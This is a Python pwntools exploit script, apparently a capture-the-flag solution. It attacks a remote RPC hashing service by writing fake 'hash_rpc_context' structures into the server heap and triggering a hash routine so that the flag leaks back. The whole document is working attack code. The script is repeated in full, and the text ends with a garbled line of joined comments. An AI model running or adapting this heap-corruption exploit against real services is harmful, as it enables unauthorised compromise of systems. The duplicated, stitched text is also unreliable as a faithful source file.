#!/usr/bin/python3

from pwn import *


def exploit(connection):
    def recv_request():
        request_id = u64(connection.recvn(8))
        data = connection.recvn(0x20)
        return request_id, data

    def send_response(request_id, data):
        connection.send(p64(request_id))
        if len(data) != 0x20:
            raise Exception
        connection.send(data)

    count = 0x10
    requests = list()
    for _ in range(count):
        request_id, data = recv_request()
        requests.append((request_id, data))

    first_va, _ = requests[0]
    second_va, _ = requests[1]
    if first_va - second_va != 0x40:
        raise NotImplementedError()

    # Write first fake `hash_rpc_context` structure to server heap

    buffer = BytesIO()
    buffer.write(b"A" * 8)
    buffer.write(p64(0x6861736822686f6d))
    buffer.write(p64(2))
    buffer.write(p64(0))
    send_response(second_va, buffer.getvalue())

    recv_request()

    # Write second fake `hash_rpc_context` structure to server heap

    buffer = BytesIO()
    buffer.write(b"B" * 8)
    buffer.write(p64(0x6861736822686f6d))
    buffer.write(p64(2))
    buffer.write(p64(first_va - count * 0x40 - 0x18))
    send_response(second_va + 0x20, buffer.getvalue())

    recv_request()

    # Zeroize `data_to_hash`

    send_response(first_va, b"\x00" * 0x20)

    recv_request()

    # Trigger `hash_together_the_first_two`

    send_response(first_va, b"C" * 0x20)

    _, data = recv_request()

    info("flag = %s", data.rstrip(b"\x00"))


context.log_level = "debug"
with remote("172.16.58.3", 1337) as connection:
    exploit(connection)

#!/usr/bin/python3

from pwn import *


def exploit(connection):
    def recv_request():
        request_id = u64(connection.recvn(8))
        data = connection.recvn(0x20)
        return request_id, data

    def send_response(request_id, data):
        connection.send(p64(request_id))
        if len(data) != 0x20:
            raise Exception
        connection.send(data)

    count = 0x10
    requests = list()
    for _ in range(count):
        request_id, data = recv_request()
        requests.append((request_id, data))

    first_va, _ = requests[0]
    second_va, _ = requests[1]
    if first_va - second_va != 0x40:
        raise NotImplementedError()

    # Write first fake `hash_rpc_context` structure to server heap

    buffer = BytesIO()
    buffer.write(b"A" * 8)
    buffer.write(p64(0x6861736822686f6d))
    buffer.write(p64(2))
    buffer.write(p64(0))
    send_response(second_va, buffer.getvalue())

    recv_request()

    # Write second fake `hash_rpc_context` structure to server heap

    buffer = BytesIO()
    buffer.write(b"B" * 8)
    buffer.write(p64(0x6861736822686f6d))
    buffer.write(p64(2))
    buffer.write(p64(first_va - count * 0x40 - 0x18))
    send_response(second_va + 0x20, buffer.getvalue())

    recv_request()

    # Zeroize `data_to_hash`

    send_response(first_va, b"\x00" * 0x20)

    recv_request()

    # Trigger `hash_together_the_first_two`

    send_response(first_va, b"C" * 0x20)

    _, data = recv_request()

    info("flag = %s", data.rstrip(b"\x00"))


context.log_level = "debug"
with remote("172.16.58.3", 1337) as connection:
    exploit(connection)

#!/usr/bin/python3 # Write first fake `hash_rpc_context` structure to server heap # Write second fake `hash_rpc_context` structure to server heap # Zeroize `data_to_hash` # Trigger `hash_together_the_first_two`